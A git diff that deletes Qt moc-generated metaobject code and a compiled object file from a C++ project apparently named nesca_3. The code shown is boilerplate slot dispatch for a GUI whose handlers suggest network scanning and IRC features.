503, 2, 0x09 /* Protected */, - 29, 0, 504, 2, 0x09 /* Protected */, - 30, 0, 505, 2, 0x09 /* Protected */, - 31, 0, 506, 2, 0x09 /* Protected */, - 32, 0, 507, 2, 0x09 /* Protected */, - 33, 1, 508, 2, 0x09 /* Protected */, - 34, 2, 511, 2, 0x09 /* Protected */, - 36, 1, 516, 2, 0x09 /* Protected */, - 37, 1, 519, 2, 0x09 /* Protected */, - 40, 0, 522, 2, 0x09 /* Protected */, - 41, 0, 523, 2, 0x09 /* Protected */, - 42, 0, 524, 2, 0x09 /* Protected */, - 43, 1, 525, 2, 0x09 /* Protected */, - 45, 0, 528, 2, 0x09 /* Protected */, - 46, 1, 529, 2, 0x09 /* Protected */, - 48, 0, 532, 2, 0x09 /* Protected */, - 48, 1, 533, 2, 0x09 /* Protected */, - 49, 0, 536, 2, 0x09 /* Protected */, - 50, 0, 537, 2, 0x09 /* Protected */, - 51, 1, 538, 2, 0x09 /* Protected */, - 52, 0, 541, 2, 0x09 /* Protected */, - 53, 0, 542, 2, 0x09 /* Protected */, - 54, 0, 543, 2, 0x09 /* Protected */, - 55, 0, 544, 2, 0x09 /* Protected */, - 56, 0, 545, 2, 0x09 /* Protected */, - 57, 0, 546, 2, 0x09 /* Protected */, - 58, 0, 547, 2, 0x09 /* Protected */, - 59, 0, 548, 2, 0x09 /* Protected */, - 60, 0, 549, 2, 0x09 /* Protected */, - 61, 0, 550, 2, 0x09 /* Protected */, - 62, 0, 551, 2, 0x09 /* Protected */, - 63, 1, 552, 2, 0x09 /* Protected */, - 65, 0, 555, 2, 0x09 /* Protected */, - 66, 0, 556, 2, 0x09 /* Protected */, - 67, 0, 557, 2, 0x09 /* Protected */, - 68, 0, 558, 2, 0x09 /* Protected */, - 69, 0, 559, 2, 0x09 /* Protected */, - 70, 0, 560, 2, 0x09 /* Protected */, - 71, 0, 561, 2, 0x09 /* Protected */, - 72, 4, 562, 2, 0x09 /* Protected */, - 77, 0, 571, 2, 0x09 /* Protected */, - 78, 0, 572, 2, 0x09 /* Protected */, - 79, 0, 573, 2, 0x09 /* Protected */, - 80, 1, 574, 2, 0x09 /* Protected */, - 83, 1, 577, 2, 0x09 /* Protected */, - 84, 1, 580, 2, 0x09 /* Protected */, - 85, 0, 583, 2, 0x09 /* Protected */, - 86, 0, 584, 2, 0x09 /* Protected */, - 87, 0, 585, 2, 0x09 /* Protected */, - 88, 0, 586, 2, 0x09 /* Protected */, - 89, 1, 587, 2, 0x09 /* Protected */, - 90, 1, 590, 2, 0x09 /* Protected */, - 91, 1, 593, 2, 0x09 /* Protected */, - 92, 1, 596, 2, 0x09 /* Protected */, - 93, 1, 599, 2, 0x09 /* Protected */, - 94, 1, 602, 2, 0x09 /* Protected */, - 95, 1, 605, 2, 0x09 /* Protected */, - 96, 1, 608, 2, 0x09 /* Protected */, - 97, 1, 611, 2, 0x09 /* Protected */, - 98, 1, 614, 2, 0x09 /* Protected */, - 99, 1, 617, 2, 0x09 /* Protected */, - 100, 1, 620, 2, 0x09 /* Protected */, - 101, 1, 623, 2, 0x09 /* Protected */, - 102, 4, 626, 2, 0x09 /* Protected */, - 104, 1, 635, 2, 0x09 /* Protected */, - 105, 1, 638, 2, 0x09 /* Protected */, - 106, 1, 641, 2, 0x09 /* Protected */, - 107, 1, 644, 2, 0x09 /* Protected */, - 108, 1, 647, 2, 0x09 /* Protected */, - 109, 0, 650, 2, 0x09 /* Protected */, - 110, 0, 651, 2, 0x09 /* Protected */, - - // slots: parameters - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 5, - QMetaType::Void, QMetaType::Bool, 5, - QMetaType::Void, QMetaType::Bool, 8, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, - QMetaType::Void, QMetaType::QString, QMetaType::QString, 3, 18, - QMetaType::Void, 0x80000000 | 20, 21, - QMetaType::Void, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::Int, 27, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, QMetaType::QString, 35, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, 0x80000000 | 38, 39, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::Int, 44, - QMetaType::Void, - QMetaType::Void, QMetaType::QUrl, 47, - QMetaType::Void, - QMetaType::Void, QMetaType::Int, 5, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::QString, 64, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::Int, QMetaType::Int, QMetaType::Int, QMetaType::Int, 73, 74, 75, 76, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, 0x80000000 | 81, 82, - QMetaType::Void, 0x80000000 | 81, 82, - QMetaType::Void, 0x80000000 | 81, 82, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, - QMetaType::Void, QMetaType::Bool, 5, - QMetaType::Void, QMetaType::Bool, 5, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 2, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::Bool, QMetaType::Bool, QMetaType::QString, QMetaType::QString, 2, 2, 3, 103, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, QMetaType::QString, 3, - QMetaType::Void, - QMetaType::Void, - - 0 // eod -}; - -void nesca_3::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - nesca_3 *_t = static_cast<nesca_3 *>(_o); - switch (_id) { - case 0: _t->MaxBrutingThr_ChangeValue((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 1: _t->ThreadDelay_ChangeValue((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 2: _t->ChangePingerOK((*reinterpret_cast< bool(*)>(_a[1]))); break; - case 3: _t->changeNSTrackLabel((*reinterpret_cast< bool(*)>(_a[1]))); break; - case 4: _t->slotPBUpdate(); break; - case 5: _t->DNSLine_ValueChanged(); break; - case 6: _t->slotChangeCPModeToUTF(); break; - case 7: _t->slotChangeCPModeTo1251(); break; - case 8: _t->slotShowRedVersion(); break; - case 9: _t->ChangeTopic(); break; - case 10: _t->slotIRCGetTopic((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 11: _t->slotIRCOfflined(); break; - case 12: _t->slotUnhidePopup((*reinterpret_cast< QString(*)>(_a[1])),(*reinterpret_cast< QString(*)>(_a[2]))); break; - case 13: _t->slotItemClicked((*reinterpret_cast< QListWidgetItem*(*)>(_a[1]))); break; - case 14: _t->slotClearNickList(); break; - case 15: _t->slotAppendIRCNick((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 16: _t->slotShowNicks(); break; - case 17: _t->slotBlinkMessage(); break; - case 18: _t->slotTabChanged((*reinterpret_cast< int(*)>(_a[1]))); break; - case 19: _t->IPScanSeq(); break; - case 20: _t->DNSScanSeq(); break; - case 21: _t->ImportScanSeq(); break; - case 22: _t->smReaction(); break; - case 23: _t->slotShowDataflow(); break; - case 24: _t->slotOutData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 25: _t->slotIncData((*reinterpret_cast< QString(*)>(_a[1])),(*reinterpret_cast< QString(*)>(_a[2]))); break; - case 26: _t->slotShowServerMsg((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 27: _t->slotSaveImage((*reinterpret_cast< QAction*(*)>(_a[1]))); break; - case 28: _t->slotUpdatePie(); break; - case 29: _t->slotClearLogs(); break; - case 30: _t->slotRestartIRC(); break; - case 31: _t->slotDrawVoiceGrid((*reinterpret_cast< int(*)>(_a[1]))); break; - case 32: _t->slotDrawTextPlacers(); break; - case 33: _t->onLinkClicked((*reinterpret_cast< QUrl(*)>(_a[1]))); break; - case 34: _t->CheckPersKey(); break; - case 35: _t->CheckPersKey((*reinterpret_cast< int(*)>(_a[1]))); break; - case 36: _t->slotRestoreDefPorts(); break; - case 37: _t->ChangeNick(); break; - case 38: _t->setNickBox((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 39: _t->SaySmthng(); break; - case 40: _t->ChangeIRCRawLog(); break; - case 41: _t->switchToJobMode(); break; - case 42: _t->ConnectToIRCServer(); break; - case 43: _t->CheckProxy(); break; - case 44: _t->ChangeDispalyMode(); break; - case 45: _t->switchDataFields(); break; - case 46: _t->importAndScan(); break; - case 47: _t->slotQoSAddGrid(); break; - case 48: _t->slotVoiceAddLine(); break; - case 49: _t->slotDrawDelimLines(); break; - case 50: _t->slotDrawActivityLine((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 51: _t->slotDrawActivityGrid(); break; - case 52: _t->activateME2ScanScene(); break; - case 53: _t->activateQoSScanBut(); break; - case 54: _t->activateVoiceScanBut(); break; - case 55: _t->activatePieStatBut(); break; - case 56: _t->slotAddPolyLine(); break; - case 57: _t->slotQoSAddLine(); break; - case 58: _t->slotAddLine((*reinterpret_cast< int(*)>(_a[1])),(*reinterpret_cast< int(*)>(_a[2])),(*reinterpret_cast< int(*)>(_a[3])),(*reinterpret_cast< int(*)>(_a[4]))); break; - case 59: _t->slotDrawGrid(); break; - case 60: _t->exitButtonClicked(); break; - case 61: _t->trayButtonClicked(); break; - case 62: _t->mouseMoveEvent((*reinterpret_cast< QMouseEvent*(*)>(_a[1]))); break; - case 63: _t->mousePressEvent((*reinterpret_cast< QMouseEvent*(*)>(_a[1]))); break; - case 64: _t->mouseReleaseEvent((*reinterpret_cast< QMouseEvent*(*)>(_a[1]))); break; - case 65: _t->logoLabelClicked(); break; - case 66: _t->startScanButtonClicked(); break; - case 67: _t->startScanButtonClickedDNS(); break; - case 68: _t->saveOptions(); break; - case 69: _t->ChangeTrackerOK((*reinterpret_cast< bool(*)>(_a[1]))); break; - case 70: _t->ChangeShuffle((*reinterpret_cast< bool(*)>(_a[1]))); break; - case 71: _t->ChangeLabelThreads_ValueChanged((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 72: _t->PingTO_ChangeValue((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 73: _t->ChangeLabelTO_ValueChanged((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 74: _t->appendErrText((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 75: _t->appendOKText((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 76: _t->appendDebugText((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 77: _t->appendNotifyText((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 78: _t->appendDefaultText((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 79: _t->appendRedIRCText((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 80: _t->appendGreenIRCText((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 81: _t->appendYellowIRCText((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 82: _t->appendDefaultIRCText((*reinterpret_cast< bool(*)>(_a[1])),(*reinterpret_cast< bool(*)>(_a[2])),(*reinterpret_cast< QString(*)>(_a[3])),(*reinterpret_cast< QString(*)>(_a[4]))); break; - case 83: _t->appendDefaultIRCTextOut((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 84: _t->appendDefaultIRCRawTextInc((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 85: _t->appendDefaultIRCRawTextOut((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 86: _t->appendGreenBAData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 87: _t->appendRedBAData((*reinterpret_cast< QString(*)>(_a[1]))); break; - case 88: _t->STTTerminate(); break; - case 89: _t->playFcknSound(); break; - default: ; - } - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - switch (_id) { - default: *reinterpret_cast<int*>(_a[0]) = -1; break; - case 27: - switch (*reinterpret_cast<int*>(_a[1])) { - default: *reinterpret_cast<int*>(_a[0]) = -1; break; - case 0: - *reinterpret_cast<int*>(_a[0]) = qRegisterMetaType< QAction* >(); break; - } - break; - } - } -} - -const QMetaObject nesca_3::staticMetaObject = { - { &QMainWindow::staticMetaObject, qt_meta_stringdata_nesca_3.data, - qt_meta_data_nesca_3, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *nesca_3::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *nesca_3::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_nesca_3.stringdata)) - return static_cast<void*>(const_cast< nesca_3*>(this)); - return QMainWindow::qt_metacast(_clname); -} - -int nesca_3::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QMainWindow::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 90) - qt_static_metacall(this, _c, _id, _a); - _id -= 90; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 90) - qt_static_metacall(this, _c, _id, _a); - _id -= 90; - } - return _id; -} -struct qt_meta_stringdata_PieStatView_t { - QByteArrayData data[1]; - char stringdata[12]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_PieStatView_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_PieStatView_t qt_meta_stringdata_PieStatView = { - { -QT_MOC_LITERAL(0, 0, 11) - }, - "PieStatView" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_PieStatView[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 0, 0, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 0, // signalCount - - 0 // eod -}; - -void PieStatView::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - Q_UNUSED(_o); - Q_UNUSED(_id); - Q_UNUSED(_c); - Q_UNUSED(_a); -} - -const QMetaObject PieStatView::staticMetaObject = { - { &QGraphicsView::staticMetaObject, qt_meta_stringdata_PieStatView.data, - qt_meta_data_PieStatView, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *PieStatView::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *PieStatView::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_PieStatView.stringdata)) - return static_cast<void*>(const_cast< PieStatView*>(this)); - return QGraphicsView::qt_metacast(_clname); -} - -int PieStatView::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QGraphicsView::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - return _id; -} -struct qt_meta_stringdata_PopupMsgWidget_t { - QByteArrayData data[4]; - char stringdata[32]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_PopupMsgWidget_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_PopupMsgWidget_t qt_meta_stringdata_PopupMsgWidget = { - { -QT_MOC_LITERAL(0, 0, 14), -QT_MOC_LITERAL(1, 15, 7), -QT_MOC_LITERAL(2, 23, 0), -QT_MOC_LITERAL(3, 24, 7) - }, - "PopupMsgWidget\0clicked\0\0checked" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_PopupMsgWidget[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 2, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 2, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 1, 24, 2, 0x06 /* Public */, - 1, 0, 27, 2, 0x26 /* Public | MethodCloned */, - - // signals: parameters - QMetaType::Void, QMetaType::Bool, 3, - QMetaType::Void, - - 0 // eod -}; - -void PopupMsgWidget::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - PopupMsgWidget *_t = static_cast<PopupMsgWidget *>(_o); - switch (_id) { - case 0: _t->clicked((*reinterpret_cast< bool(*)>(_a[1]))); break; - case 1: _t->clicked(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (PopupMsgWidget::*_t)(bool ); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&PopupMsgWidget::clicked)) { - *result = 0; - } - } - } -} - -const QMetaObject PopupMsgWidget::staticMetaObject = { - { &QWidget::staticMetaObject, qt_meta_stringdata_PopupMsgWidget.data, - qt_meta_data_PopupMsgWidget, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *PopupMsgWidget::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *PopupMsgWidget::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_PopupMsgWidget.stringdata)) - return static_cast<void*>(const_cast< PopupMsgWidget*>(this)); - return QWidget::qt_metacast(_clname); -} - -int PopupMsgWidget::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QWidget::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 2) - qt_static_metacall(this, _c, _id, _a); - _id -= 2; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 2) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 2; - } - return _id; -} - -// SIGNAL 0 -void PopupMsgWidget::clicked(bool _t1) -{ - void *_a[] = { 0, const_cast<void*>(reinterpret_cast<const void*>(&_t1)) }; - QMetaObject::activate(this, &staticMetaObject, 0, _a); -} -QT_END_MOC_NAMESPACE diff --git a/moc_nesca_3.o b/moc_nesca_3.o deleted file mode 100644 index f802bf25a57002e46cbfd17d2f867e5182354b98..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 59376 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 